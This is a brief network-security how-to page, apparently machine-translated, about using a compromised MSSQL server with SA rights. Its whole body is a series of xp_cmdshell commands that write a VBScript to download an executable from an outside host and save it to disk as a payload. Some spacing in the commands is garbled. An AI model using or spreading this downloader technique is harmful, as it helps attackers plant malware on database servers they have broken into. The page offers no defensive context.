SLTechnology News&Howtos › Network Security ›

When the private network machine with SA permission stores MSSQL

Shulou Source: shulou.com Published: 2022-06-01 05:49:08 10月04日 Update

EXEC master..xp_cmdshell 'echo Set xPost = createObject ("Microsoft.XMLHTTP") > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo xPost.Open "GET", "http://tools.sb3389.com/1.exe",0 > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo xPost.Send () > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo Set sGet = createObject ("ADODB.Stream") > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo sGet.Mode = 3 > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo sGet.Type = 1 > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo sGet.Open () > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo sGet.Write (xPost.responseBody) > > c:\ 2.vbs'

EXEC master..xp_cmdshell 'echo sGet.SaveToFile "c:\ dc.exe", 2 > > c:\ 2.vbs'